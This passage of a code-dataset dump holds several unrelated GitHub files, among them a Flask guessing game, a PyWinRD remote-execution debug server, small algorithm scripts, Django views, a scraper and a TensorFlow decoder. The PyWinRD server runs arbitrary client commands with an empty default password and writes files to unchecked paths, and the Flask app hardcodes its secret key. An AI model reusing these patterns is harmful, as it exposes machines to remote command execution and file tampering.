teams\r\n","repo_name":"cgunther13/march-madness","sub_path":"data/load_tourny_teams.py","file_name":"load_tourny_teams.py","file_ext":"py","file_size_in_byte":2091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"16554273895","text":"from flask import Flask, render_template, url_for, request, redirect, flash, make_response\nfrom random import randint\nfrom flask_sqlalchemy import SQLAlchemy\n\n# App und Einstellungen\n\napp = Flask(__name__)\n\napp.secret_key = '6ca97bc342cdbecabbadb5c47b006ef4'\napp.config['SQLALCHEMY_DATABASE_URI']='sqlite:///site.db'\n\n# Datenbank\ndb = SQLAlchemy(app)\n\n# Klassen für die Datenbank\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n user_name = db.Column(db.String(20), unique=True, nullable=False)\n secret_number = db.Column(db.Integer)\n\n # definiert was erscheint bei print bzw. wenn das Objekt angezeigt werden soll\n def __repr__(self):\n return f\"User('{self.user_name}', '{self.secret_number}')\"\n\n@app.route(\"/\", methods=[\"POST\", \"GET\"])\ndef index():\n return render_template(\"index.html\")\n\n@app.route(\"/new_game\", methods=[\"POST\", \"GET\"])\ndef new_game():\n number_guess = request.form.get(\"guess\")\n user_name = request.form.get(\"user_name\")\n\n if request.method == \"POST\":\n\n user = User.query.filter_by(user_name=user_name).first()\n\n if user is None:\n new_user = User(user_name=user_name, secret_number=randint(0,30))\n db.session.add(new_user)\n db.session.commit()\n print(new_user)\n\n user = User.query.filter_by(user_name=user_name).first()\n secret = user.secret_number\n\n if int(number_guess) == secret:\n flash(\"Great. That's correct. The number was \" + str(secret) +\n \". If would like to guess another number just guess again.\", \"success\")\n user.secret_number=randint(0,30)\n db.session.commit()\n\n elif int(number_guess)>secret:\n flash(\"Sorry, that's too high.\", \"danger\")\n else:\n flash(\"Sorry, that's too low.\", \"danger\")\n\n return redirect(\"/new_game\")\n\n return render_template('new_game.html')\n\n\nif __name__ == '__main__':\n app.run(debug=True)","repo_name":"Hoch3007/WebDev01","sub_path":"18/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"22834057204","text":"from PyWinRD.Props import ERR_START, OUT_START, MESSAGE_END, SOCKET_DELAY, recv_all, OPERATION_END, OPERATION_START, PORTION_END\r\nfrom subprocess import Popen, PIPE\r\nfrom datetime import datetime\r\nfrom threading import Thread\r\nfrom pathlib import Path\r\nfrom time import sleep\r\nimport traceback\r\nimport shutil\r\nimport socket\r\nimport sys\r\n\r\nnewline_used = True\r\n\r\n\r\nclass RemoteExecuter:\r\n\r\n def __init__(self, soc):\r\n self.soc = soc\r\n self.p = None\r\n self.exception = None\r\n\r\n def socket_stdout(self, s):\r\n global newline_used\r\n\r\n if s[-1] == '\\n':\r\n newline_used = True\r\n\r\n else:\r\n newline_used = False\r\n\r\n sys.stdout.write(s)\r\n\r\n self.soc.sendall(b''.join([OUT_START, bytes(s, 'utf-8'), MESSAGE_END]))\r\n sleep(SOCKET_DELAY)\r\n\r\n def socket_stderr(self, s):\r\n global newline_used\r\n\r\n if s[-1] == '\\n':\r\n newline_used = True\r\n\r\n else:\r\n newline_used = False\r\n\r\n sys.stderr.write(s)\r\n\r\n self.soc.sendall(b''.join([ERR_START, bytes(str(s), 'utf-8'), MESSAGE_END]))\r\n sleep(SOCKET_DELAY)\r\n\r\n def socket_stdin(self, s):\r\n sys.stdout.write(s.decode(\"utf-8\"))\r\n\r\n self.p.stdin.write(s)\r\n self.p.stdin.flush()\r\n\r\n def stdout_listener(self):\r\n\r\n while self.p.poll() is None:\r\n o = self.p.stdout.read1().decode('utf-8')\r\n\r\n if o:\r\n self.socket_stdout(o)\r\n\r\n def stderr_listener(self):\r\n\r\n while self.p.poll() is None:\r\n e = self.p.stderr.read1().decode('utf-8')\r\n\r\n if e:\r\n self.socket_stderr(e)\r\n\r\n def stdin_listener(self):\r\n\r\n while self.p.poll() is None:\r\n\r\n try:\r\n messages = recv_all(self.soc)\r\n if messages[0] == OPERATION_START:\r\n break\r\n\r\n for m in messages:\r\n self.socket_stdin(m)\r\n\r\n except ConnectionResetError:\r\n self.exception = ConnectionResetError\r\n self.p.kill()\r\n break\r\n\r\n def process_listener(self, p: Popen, ol: Thread, el: Thread):\r\n\r\n while (p.poll() is None) or ol.is_alive() or el.is_alive():\r\n sleep(0.2)\r\n\r\n self.soc.sendall(b''.join([OPERATION_END, MESSAGE_END]))\r\n\r\n def execute(self, command):\r\n self.p = Popen(command.split(' '), stdout=PIPE, stderr=PIPE, stdin=PIPE)\r\n\r\n ol = Thread(target=self.stdout_listener, daemon=True)\r\n ol.start()\r\n\r\n el = Thread(target=self.stderr_listener, daemon=True)\r\n el.start()\r\n\r\n il = Thread(target=self.stdin_listener, daemon=True)\r\n il.start()\r\n\r\n while self.p.poll() is None:\r\n sleep(0.2)\r\n\r\n self.soc.sendall(b''.join([OPERATION_END, MESSAGE_END]))\r\n\r\n ol.join()\r\n el.join()\r\n il.join()\r\n\r\n\r\nclass WinRDServer:\r\n\r\n def __init__(self, host='', port=2345, password=''):\r\n self.host = host\r\n self.port = port\r\n self.password = password\r\n\r\n self.address_family = socket.AF_INET\r\n self.protocol = socket.SOCK_STREAM\r\n\r\n self.soc = socket.socket(self.address_family, self.protocol)\r\n self.soc.bind((self.host, self.port))\r\n\r\n def start(self):\r\n global newline_used\r\n\r\n self.soc.listen(1)\r\n while True:\r\n client_soc, client_addr = self.soc.accept()\r\n client_soc.setblocking(False)\r\n\r\n password = recv_all(client_soc)[0].decode('utf-8')\r\n if password != self.password:\r\n client_soc.sendall(b''.join([b'0', MESSAGE_END]))\r\n continue\r\n\r\n else:\r\n client_soc.sendall(b''.join([b'1', MESSAGE_END]))\r\n\r\n if not newline_used:\r\n sys.stderr.write('\\n\\n')\r\n newline_used = True\r\n sys.stderr.write(f'{datetime.now().strftime(\"[%Y-%m-%d %H:%M:%S]\")} {client_addr[0]} Connected.\\n')\r\n\r\n remote_executer = RemoteExecuter(client_soc)\r\n Path('Temp').mkdir(exist_ok=True)\r\n\r\n while True:\r\n\r\n try:\r\n info = recv_all(client_soc)[0].split(PORTION_END)\r\n operation, data = info[0].decode('utf-8'), info[1:]\r\n\r\n if operation == 'Deploy':\r\n path = 'Temp' / Path(data[0].decode('utf-8'))\r\n\r\n if not newline_used:\r\n sys.stderr.write('\\n')\r\n newline_used = True\r\n sys.stderr.write(f'{datetime.now().strftime(\"[%Y-%m-%d %H:%M:%S]\")} {client_addr[0]} Is Deploying \"{path}\".\\n')\r\n\r\n path.parent.mkdir(parents=True, exist_ok=True)\r\n with open(path, 'wb') as f:\r\n f.write(data[1])\r\n\r\n client_soc.sendall(b''.join([OPERATION_END, MESSAGE_END]))\r\n continue\r\n\r\n elif operation == 'Terminal':\r\n command = data[0].decode('utf-8')\r\n\r\n if not newline_used:\r\n sys.stderr.write('\\n')\r\n newline_used = True\r\n sys.stderr.write(f'{datetime.now().strftime(\"[%Y-%m-%d %H:%M:%S]\")} {client_addr[0]} Is Executing \"{command}\".\\n')\r\n\r\n remote_executer.execute(command)\r\n\r\n elif operation == 'Debug':\r\n filename = data[0].decode('utf-8')\r\n\r\n if not newline_used:\r\n sys.stderr.write('\\n')\r\n newline_used = True\r\n sys.stderr.write(f'{datetime.now().strftime(\"[%Y-%m-%d %H:%M:%S]\")} {client_addr[0]} Is Debugging \"{filename}\".\\n')\r\n\r\n path = 'Temp' / Path(filename)\r\n with open(path, 'wb') as f:\r\n f.write(data[1])\r\n\r\n remote_executer.execute(f'python {path}')\r\n if remote_executer.exception:\r\n raise remote_executer.exception\r\n\r\n else:\r\n continue\r\n\r\n except ConnectionResetError:\r\n break\r\n\r\n except Exception: # noqa\r\n traceback.print_exc()\r\n\r\n if not newline_used:\r\n sys.stderr.write('\\n')\r\n newline_used = True\r\n sys.stderr.write(f'{datetime.now().strftime(\"[%Y-%m-%d %H:%M:%S]\")} {client_addr[0]} Disconnected.\\n\\n')\r\n\r\n shutil.rmtree('Temp', ignore_errors=True)","repo_name":"AhmedAhmedEG/PyWinRD","sub_path":"PyWinRD/Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":6726,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"18"} +{"seq_id":"11925935041","text":"import math\nimport sys\ninput = sys.stdin.readline\ndef solution(n):\n primes = [True for _ in range(4000001)];\n primes[0] = False; primes[1] = False;\n arr = [0]\n for i in range(2, 4000001):\n if primes[i]:\n arr.append(arr[-1]+i)\n for j in range(i+i, 4000001, i):\n if j > 4000000: break\n primes[j] = False\n total = 2; l = 0; r = 1; answer = 0;\n while l < r:\n if n == total:\n answer += 1\n if total < n:\n r += 1\n if r == len(arr): break\n else: l += 1\n total = arr[r] - arr[l]\n print(answer)\nif __name__ == '__main__':\n solution(int(input().strip()))","repo_name":"WonyJeong/wony-algo","sub_path":"BOJ/class/5/1644.py","file_name":"1644.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"30109006259","text":"import math\n\n\ndef my_exp(x, n):\n s = 0 # начальное значение суммы раяда\n q = 1 # начальное значение добавки\n\n for k in range(n + 1):\n s += q\n q *= x / (k + 1)\n\n return s\n\n\nx = 50\n\nk_sum = 100\n\nfor n in range(k_sum):\n print('n= ', n, '->', my_exp(x, n, ))\n\n\n\n","repo_name":"AntonTroitskii/python","sub_path":"02_books_courses/02_vasilev/ch 3 functions/3_2.py","file_name":"3_2.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"12209186739","text":"import time\r\n\r\nltr = [\"a\", \"b\", \"c\", \"ç\", \"d\", \"e\", \"f\", \"g\", \"ğ\", \"h\", \"ı\", \"i\", \"j\", \"k\", \"l\", \"m\", \"n\", \"o\", \"ö\", \"p\", \"q\", \"r\", \"s\", \"ş\", \"t\", \"u\", \"ü\", \"v\", \"w\", \"x\", \"y\", \"z\", \"1\", \"2\", \"3\", \"4\", \"5\", \"6\", \"7\", \"8\", \"9\", \"0\"]\r\nnums = [\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\",\"0\"]\r\ndecode = []\r\nencode = []\r\n\r\nwhile True:\r\n q = input('Metninizi şifrelemek için \"ş\", çözmek için \"ç\" yazın:\\n')\r\n if q == \"ş\":\r\n x = input(\"Metninizi girin:\\n\")\r\n for l in x: \r\n if l == \"0\":\r\n encode.append(\"b\")\r\n elif l == \"9\":\r\n encode.append(\"a\")\r\n elif l in nums:\r\n encode.append(nums[nums.index(l) + 2])\r\n elif l.lower() in ltr: \r\n if l.islower():\r\n encode.append(ltr[ltr.index(l.lower()) + 2])\r\n elif l.isupper():\r\n encode.append((ltr[ltr.index(l.lower()) + 2]).upper())\r\n else:\r\n encode.append(l)\r\n for l in encode:\r\n print(l, end=\"\")\r\n print()\r\n encode = []\r\n elif q == \"ç\":\r\n y = input(\"Metninizi girin:\\n\")\r\n for l in y:\r\n if l.lower() == \"b\":\r\n decode.append(\"0\")\r\n elif l.lower() == \"a\":\r\n decode.append(\"9\")\r\n elif l in nums:\r\n if l == \"1\":\r\n decode.append(\"y\")\r\n elif l == \"2\":\r\n decode.append(\"z\")\r\n else:\r\n decode.append(nums[nums.index(l) - 2])\r\n elif l.lower() in ltr:\r\n if l.islower(): \r\n decode.append(ltr[ltr.index(l.lower()) - 2])\r\n elif l.isupper():\r\n decode.append((ltr[ltr.index(l.lower()) - 2]).upper())\r\n else:\r\n decode.append(l)\r\n for l in decode:\r\n print(l, end=\"\")\r\n print()\r\n decode = []\r\n else:\r\n print(\"Geçerli bir girdi girin\")\r\n c = input('Devam etmek için \"d\", çıkmak için \"e\" yazın:\\n')\r\n if c == \"d\":\r\n continue\r\n elif c == \"e\":\r\n break\r\n else:\r\n print(\"Geçerli bir girdi girin\")\r\n\r\nprint(\"Bizi kullandığınız için teşekkürler, şifrenizi gizli tutun\")\r\ntime.sleep(3)\r\n","repo_name":"ZilchofNowhere/little-useful-programs","sub_path":"encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70465936361","text":"from django.shortcuts import render\nfrom django.shortcuts import redirect\nfrom django.http import HttpResponse\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth import login\nfrom .forms import newuserForm\nfrom artigos import APIs\nfrom artigos.models import usuario\nimport pandas as pd\n\n@login_required()\ndef home(request):\n return redirect('/artigos/search')\n\n@login_required()\ndef manageusers(request):\n if request.user.is_superuser:\n if request.method == 'POST':\n pass\n else:\n users = usuario.objects.all().values()\n df = pd.DataFrame(users)\n df = df[['id','name', 'email', 'is_superuser']]\n info = df.__array__()\n return render(request, 'users.html', {\"info\": info})\n\n else:\n return redirect('/artigos/search/')\n\ndef newuser(request):\n if request.method == 'POST':\n form = newuserForm(request.POST)\n if form.is_valid():\n user = form.save()\n login(request,user)\n if request.user == user:\n APIs.sendmail(user.email)\n return redirect('/artigos/search/')\n else:\n form = newuserForm()\n return render(request, 'register.html', {'form': form})\n","repo_name":"hawkthief/SD","sub_path":"TP_SD/TP_SD/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1254,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"26294026835","text":"import gzip\n\ncode = {'AAA': 'K','AAC': 'N','AAG': 'K','AAT': 'N','ACA': 'T','ACC': 'T','ACG': 'T','ACT': 'T','AGA': 'R','AGC': 'S','AGG': 'R','AGT': 'S','ATA': 'I','ATC': 'I','ATG': 'M','ATT': 'I',\n 'CAA': 'Q','CAC': 'H','CAG': 'Q','CAT': 'H','CCA': 'P','CCC': 'P','CCG': 'P','CCT': 'P','CGA': 'R','CGC': 'R','CGG': 'R','CGT': 'R','CTA': 'L','CTC': 'L','CTG': 'L','CTT': 'L',\n 'GAA': 'E','GAC': 'D','GAG': 'E','GAT': 'D','GCA': 'A','GCC': 'A','GCG': 'A','GCT': 'A','GGA': 'G','GGC': 'G','GGG': 'G','GGT': 'G','GTA': 'V','GTC': 'V','GTG': 'V','GTT': 'V',\n 'TAA': '*','TAC': 'Y','TAG': '*','TAT': 'Y','TCA': 'S','TCC': 'S','TCG': 'S','TCT': 'S','TGA': '*','TGC': 'C','TGG': 'W','TGT': 'C','TTA': 'L','TTC': 'F','TTG': 'L','TTT': 'F',\n '---': '-'}\n\ndef translate(NT_seq):\n codons = [NT_seq[(3*i):(3*i)+3] for i in range( len(NT_seq)//3 )]\n AA_seq = ''.join(code[c] if c in code else 'X' for c in codons)\n return AA_seq\n\n\ndef chimera2sequence(block_alignment,chimera_seq):\n blocks = sorted(set([p[0] for p in block_alignment]))\n parents = range(len(block_alignment[0][1:]))\n chimera_seq = [int(i)-1 for i in chimera_seq]\n if len(blocks)!=len(chimera_seq):\n print('chimera sequence needs contain the same number of blocks as the block alignment')\n return\n if max(chimera_seq)>max(parents):\n print('too many parents - chimera blocks are not in block alignment')\n return\n sequence = ''.join([pos[chimera_seq[blocks.index(pos[0])]+1] for pos in block_alignment])\n return sequence\n\ndef generate_chimera_seqs(parents,blocks):\n parents = [str(p) for p in range(1,parents+1)]\n seqs = ['']\n for i in range(blocks):\n ns = []\n for s in seqs:\n for p in parents:\n ns.append(s+p)\n seqs = ns\n return seqs\n\n\ndef make_all_chimeras(block_alignment):\n '''given a block alignment, make a dictionary with all chimera sequences'''\n num_blocks = len(set([p[0] for p in block_alignment]))\n num_parents = len(block_alignment[0][1:])\n ch_seqs = generate_chimera_seqs(num_parents,num_blocks)\n chimeras = {}\n for ch in ch_seqs:\n chimeras[ch] = chimera2sequence(block_alignment,ch)\n return chimeras\n\n\n# a bunch of processing--sorry it's messy...\nblock_alignment = [p for p in tuple(zip(*[l for l in open('DXS_blocks_NT_alignment_and_100updown.fasta').read().strip().split('\\n') if len(l)>100])) if p[0]!='u']\nAAseqs = [translate(''.join(s)) for s in zip(*[p[1:] for p in block_alignment])]\nNT_blocks = ''.join([p[0] for p in block_alignment]) \ncodon_blocks = [NT_blocks[(3*i):(3*i)+3] for i in range(len(NT_blocks)//3 )]\nAA_blocks = ''.join([c[1] for c in codon_blocks])\nblock_alignment = tuple(zip(*[AA_blocks,]+AAseqs))\n\n\n# a dictionary that maps chimera block sequence to an amino acid sequence\nch2seq = make_all_chimeras(block_alignment) \n\n\n# load in the chimera block sequences (need to convert letters back to numbers)\nref = [s.replace('A','1').replace('B','2').replace('C','3').replace('D','4') for s in open('DXS_ref_sequences_filtered.txt').read().strip().split('\\n')]\nsel = [s.replace('A','1').replace('B','2').replace('C','3').replace('D','4') for s in open('DXS_sel_sequences_filtered.txt').read().strip().split('\\n')]\n\nrefAAs = [ch2seq[s] for s in ref]\ngzip.open('DXS_ref_AA_sequences.txt.gz','wt').write('\\n'.join(refAAs))\n\nselAAs = [ch2seq[s] for s in sel]\ngzip.open('DXS_sel_AA_sequences.txt.gz','wt').write('\\n'.join(selAAs))\n","repo_name":"RomeroLab/PU-learning-paper-analysis","sub_path":"data/DXS/chimera_blocks_to_AA_sequences.py","file_name":"chimera_blocks_to_AA_sequences.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"7402503750","text":"from bs4 import BeautifulSoup\nimport requests\n\nclass ScrapEmallsSite:\n def __init__(self, values):\n self.ui_information_dict = values\n self.price_list = list()\n self.item_list = list()\n\n def set_price_list(self, soup):\n span_list = soup.find_all(\"span\", {\"class\": \"item-price\"})\n for span in span_list:\n try:\n self.price_list.append(span.contents[0])\n except:\n True\n\n def get_price_list(self):\n return self.price_list\n\n def set_item_list(self, soup):\n div_list = soup.find_all(\"div\", {\"class\": \"item-title\"})\n # print(\"div_list: \", div_list)\n for div in div_list:\n try:\n self.item_list.append(div.contents[1][\"href\"].split(\"_\")[1].split(\"-Mobile\")[0])\n except:\n True\n print(div_list)\n\n def get_item_list(self):\n return self.item_list\n\n def scrap_page(self, window):\n brand_name = self.ui_information_dict[\"company\"]\n page_number = self.ui_information_dict[\"page_number\"]\n url = f\"https://emalls.ir/%D9%85%D8%AD%D8%B5%D9%88%D9%84%D8%A7%D8%AA~Category~39~b~{brand_name}~page~{page_number}\"\n page = requests.get(url)\n soup = BeautifulSoup(page.content, 'html.parser')\n\n self.set_price_list(soup)\n self.set_item_list(soup)\n\n for (item, price) in zip(self.get_item_list(), self.get_price_list()):\n window[\"output\"].print([str(item), str(price)])\n\n window[\"url\"].update(value=url)\n print([str(self.ui_information_dict)])\n","repo_name":"ArianE102/shabakeh","sub_path":"ScrapEmallsSite.py","file_name":"ScrapEmallsSite.py","file_ext":"py","file_size_in_byte":1595,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"27932909242","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom tensorflow.contrib import layers\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import rnn\nfrom tensorflow.python.ops import tensor_array_ops\nfrom tensorflow.python.ops import variable_scope as vs\n\n__all__ = [\"dynamic_rnn_decoder\"]\n\ndef dynamic_rnn_decoder(cell, # 多层的 RNNCell\n decoder_fn, # 对输入输出进行处理的函数\n inputs=None, # 训练时传入该参数,为response的嵌入向量拼接使用的三元组 [batch_size, decoder_len, num_embed_units+3*num_trans_units]\n sequence_length=None, # 训练时传入该参数,为response的长度向量\n parallel_iterations=None, # 没用到这个参数\n swap_memory=False, # 没用到这个参数\n time_major=False, # 表示输入的数据集是否是time-major的\n scope=None, # \"decoder_rnn\"\n name=None): # 没用到这个参数\n \"\"\"seq2seq模型的RNN动态解码器\n \"\"\"\n with ops.name_scope(name, \"dynamic_rnn_decoder\",\n [cell, decoder_fn, inputs, sequence_length,\n parallel_iterations, swap_memory, time_major, scope]):\n # 训练时对输入进行处理\n if inputs is not None:\n inputs = ops.convert_to_tensor(inputs)\n if inputs.get_shape().ndims is not None and (\n inputs.get_shape().ndims < 2):\n raise ValueError(\"Inputs must have at least two dimensions\")\n\n # 如果不是time_major就做一个转置 [batch, seq, features] -> [seq, batch, features]\n if not time_major:\n inputs = array_ops.transpose(inputs, perm=[1, 0, 2]) # [decoder_len, batch_size, num_embed_units+3*num_trans_units]\n\n dtype = inputs.dtype\n input_depth = int(inputs.get_shape()[2]) # num_embed_units+3*num_trans_units\n batch_depth = inputs.get_shape()[1].value # batch_size\n max_time = inputs.get_shape()[0].value # decoder_len\n if max_time is None:\n max_time = array_ops.shape(inputs)[0]\n\n # 将解码器的输入设置成一个TensorArray,长度为decoder_len\n inputs_ta = tensor_array_ops.TensorArray(dtype, size=max_time)\n inputs_ta = inputs_ta.unstack(inputs) # 数组的每个元素是个[batch_size, num_embed_units+3*num_trans_units]的张量\n\n########解码器复写的循环函数 ###\n def loop_fn(time, cell_output, cell_state, loop_state):\n \"\"\"loop_fn 是一个函数,这个函数在 rnn 的相邻时间步之间被调用。\n 函数的��体调用过程为:\n 1. 初始时刻,先调用一次loop_fn,获取第一个时间步的cell的输入,loop_fn 中进行读取初始时刻的输入。\n 2. 进行cell自环 (output, cell_state) = cell(next_input, state)\n 3. 在t时刻RNN计算结束时,cell有一组输出cell_output和状态cell_state,都是tensor;\n 4. 到t+1时刻开始进行计算之前,loop_fn被调用,调用的形式为\n loop_fn( t, cell_output, cell_state, loop_state),而被期待的输出为:(finished, next_input, initial_state, emit_output, loop_state);\n 5. RNN采用loop_fn返回的next_input作为输入,initial_state作为状态,计算得到新的输出。\n 在每次执行(output, cell_state) = cell(next_input, state)后,执行loop_fn()进行数据的准备和处理。\n emit_structure即上文的emit_output将会按照时间存入emit_ta中。\n loop_state记录rnn loop的变量的状态。用作记录状态\n tf.where是用来实现dynamic的。\n time: 第time个时间步之前的处理,起始为0\n cell_output: 上一个时间步的输出\n cell_state: RNNCells 的长时记忆\n loop_state: 保存了上个时间步执行后是否已经结束,如果输出 alignments,还保存了存有alignments的TensorArray\n \"\"\"\n\n # 取出循环状态\n if cell_state is None: # time=0\n if cell_output is not None:\n raise ValueError(\"Expected cell_output to be None when cell_state \" \n \"is None, but saw: %s\" % cell_output)\n if loop_state is not None:\n raise ValueError(\"Expected loop_state to be None when cell_state \" \n \"is None, but saw: %s\" % loop_state)\n context_state = None\n else: # time>=1\n if isinstance(loop_state, tuple): # 如果记录了对齐\n (done, context_state) = loop_state\n else: # 如果没有记录对齐\n done = loop_state # done: [batch_size]为bool值标识了每个batch是否已经解码结束\n context_state = None\n\n # 训练时\n if inputs is not None:\n if cell_state is None: # time=0\n next_cell_input = inputs_ta.read(0)\n else: # time>=1\n if batch_depth is not None:\n batch_size = batch_depth\n else:\n batch_size = array_ops.shape(done)[0]\n # 如果time == max_time解码结束, 则next_cell_input=[batch_size, input_depth]的全1矩阵\n # 否则,next_cell_input读取这一时间步的输入\n next_cell_input = control_flow_ops.cond(\n math_ops.equal(time, max_time),\n lambda: array_ops.zeros([batch_size, input_depth], dtype=dtype),\n lambda: inputs_ta.read(time))\n # next_done=None, emit_output=attention\n (next_done, next_cell_state, next_cell_input, emit_output, next_context_state) = \\\n decoder_fn(time, cell_state, next_cell_input, cell_output, context_state)\n # 推导时\n else:\n (next_done, next_cell_state, next_cell_input, emit_output, next_context_state) = \\\n decoder_fn(time, cell_state, None, cell_output, context_state)\n\n # 检查结束状态\n if next_done is None: # 当训练时,next_done 返回的是 None\n next_done = time >= sequence_length # 当 time >= sequence_length 时,next_done = True\n\n # 存储循环状态\n if next_context_state is None: # 如果不输出alignments\n next_loop_state = next_done\n else: # 如果输出alignments\n next_loop_state = (next_done, next_context_state)\n\n return (next_done, next_cell_input, next_cell_state,\n emit_output, next_loop_state)\n######## ###\n\n # Run raw_rnn function\n outputs_ta, final_state, final_loop_state = rnn.raw_rnn(cell,\n loop_fn,\n parallel_iterations=parallel_iterations,\n swap_memory=swap_memory,\n scope=scope)\n outputs = outputs_ta.stack()\n\n # 如果要输出alignments就获取final_context_state\n if isinstance(final_loop_state, tuple):\n final_context_state = final_loop_state[1]\n else:\n final_context_state = None\n\n # 转置回去\n if not time_major:\n # [seq, batch, features] -> [batch, seq, features]\n outputs = array_ops.transpose(outputs, perm=[1, 0, 2])\n return outputs, final_state, final_context_state\n","repo_name":"Kirito0918/improve-ccm","sub_path":"dynamic_decoder.py","file_name":"dynamic_decoder.py","file_ext":"py","file_size_in_byte":8350,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"29158045526","text":"# leetcode-205-同构字符串.py\n# 给定两个字符串 s 和 t,判断它们是否是同构的。\n\n# 如果 s 中的字符可以被替换得到 t ,那么这两个字符串是同构的。\n\n# 所有出现的字符都必须用另一个字符替换,同时保留字符的顺序。两个字符不能映射到同一个字符上,但字符可以映射自己本身。\n\n# 示例 1:\n\n# 输入: s = \"egg\", t = \"add\"\n# 输出: true\n# 示例 2:\n\n# 输入: s = \"foo\", t = \"bar\"\n# 输出: false\n# 示例 3:\n\n# 输入: s = \"paper\", t = \"title\"\n# 输出: true\n# 说明:\n# 你可以假设 s 和 t 具有相同的长度。\n\n\"\"\"\n思路:\ns 中的字符,替换到t上,字典啊..\n\n有点粗心啊,,只注意了一到多的情况,没注意多到一的情况,\n\n\"\"\"\n\n\nclass Solution(object):\n def isIsomorphic(self, s, t):\n \"\"\"\n :type s: str\n :type t: str\n :rtype: bool\n \"\"\"\n l = len(s)\n i = 0\n\n dic = {}\n\n while i < l:\n if s[i] in dic:\n if dic[s[i]] != t[i]:\n return False\n else:\n if t[i] in dic.values():\n return False\n dic[s[i]] = t[i]\n\n i += 1\n return True\n","repo_name":"ZX1209/gl-algorithm-practise","sub_path":"leetcode-gl-python/leetcode-205-同构字符串.py","file_name":"leetcode-205-同构字符串.py","file_ext":"py","file_size_in_byte":1233,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13378777314","text":"import argparse\nimport time\nimport msgpack\nfrom enum import Enum, auto\n\nimport numpy as np\nimport math\nimport matplotlib.pyplot as plt\n\nfrom planning_utils import a_star, heuristic, create_grid\nfrom udacidrone import Drone\nfrom udacidrone.connection import MavlinkConnection\nfrom udacidrone.messaging import MsgID\nfrom udacidrone.frame_utils import global_to_local\n\n\nclass States(Enum):\n MANUAL = auto()\n ARMING = auto()\n TAKEOFF = auto()\n WAYPOINT = auto()\n LANDING = auto()\n DISARMING = auto()\n PLANNING = auto()\n\n\nclass MotionPlanning(Drone):\n\n def __init__(self, connection):\n super().__init__(connection)\n\n self.target_position = np.array([0.0, 0.0, 0.0])\n self.waypoints = []\n self.in_mission = True\n self.check_state = {}\n\n # initial state\n self.flight_state = States.MANUAL\n\n # register all your callbacks here\n self.register_callback(MsgID.LOCAL_POSITION, self.local_position_callback)\n self.register_callback(MsgID.LOCAL_VELOCITY, self.velocity_callback)\n self.register_callback(MsgID.STATE, self.state_callback)\n\n def local_position_callback(self):\n if self.flight_state == States.TAKEOFF:\n if -1.0 * self.local_position[2] > 0.95 * self.target_position[2]:\n self.waypoint_transition()\n elif self.flight_state == States.WAYPOINT:\n if np.linalg.norm(self.target_position[0:2] - self.local_position[0:2]) < 1.0:\n if len(self.waypoints) > 0:\n self.waypoint_transition()\n else:\n if np.linalg.norm(self.local_velocity[0:2]) < 1.0:\n self.landing_transition()\n\n def velocity_callback(self):\n if self.flight_state == States.LANDING:\n if self.global_position[2] - self.global_home[2] < 0.1:\n if abs(self.local_position[2]) < 0.01:\n self.disarming_transition()\n\n def state_callback(self):\n if self.in_mission:\n if self.flight_state == States.MANUAL:\n self.arming_transition()\n elif self.flight_state == States.ARMING:\n if self.armed:\n self.plan_path()\n elif self.flight_state == States.PLANNING:\n self.takeoff_transition()\n elif self.flight_state == States.DISARMING:\n if ~self.armed & ~self.guided:\n self.manual_transition()\n\n def arming_transition(self):\n self.flight_state = States.ARMING\n print(\"arming transition\")\n self.arm()\n self.take_control()\n\n def takeoff_transition(self):\n self.flight_state = States.TAKEOFF\n print(\"takeoff transition\")\n self.takeoff(self.target_position[2])\n\n def waypoint_transition(self):\n self.flight_state = States.WAYPOINT\n print(\"waypoint transition\")\n self.target_position = self.waypoints.pop() # pop(0)\n print('target position', self.target_position)\n self.cmd_position(self.target_position[0], self.target_position[1], self.target_position[2],\n self.target_position[3])\n\n def landing_transition(self):\n self.flight_state = States.LANDING\n print(\"landing transition\")\n self.land()\n\n def disarming_transition(self):\n self.flight_state = States.DISARMING\n print(\"disarm transition\")\n self.disarm()\n self.release_control()\n\n def manual_transition(self):\n self.flight_state = States.MANUAL\n print(\"manual transition\")\n self.stop()\n self.in_mission = False\n\n def send_waypoints(self):\n print(\"Sending waypoints to simulator ...\")\n data = msgpack.dumps(self.waypoints)\n self.connection._master.write(data)\n\n def raytrace(self, p1, p2):\n cells = []\n\n x_axis = np.arange(p1[0], p2[0] + 1)\n if p1[0] != p2[0]:\n m = (p2[1] - p1[1]) / (p2[0] - p1[0])\n else: # both points are on the same vertical\n for i in np.arange(p1[1], p2[1]):\n cells.append((p1[0], i))\n return cells\n\n y0 = p1[1] - m * p1[0]\n f = np.array(list(map(lambda x: m * x + y0, x_axis)))\n\n x = 0\n y = 0\n\n while x + 1 < len(f):\n cells.append((x 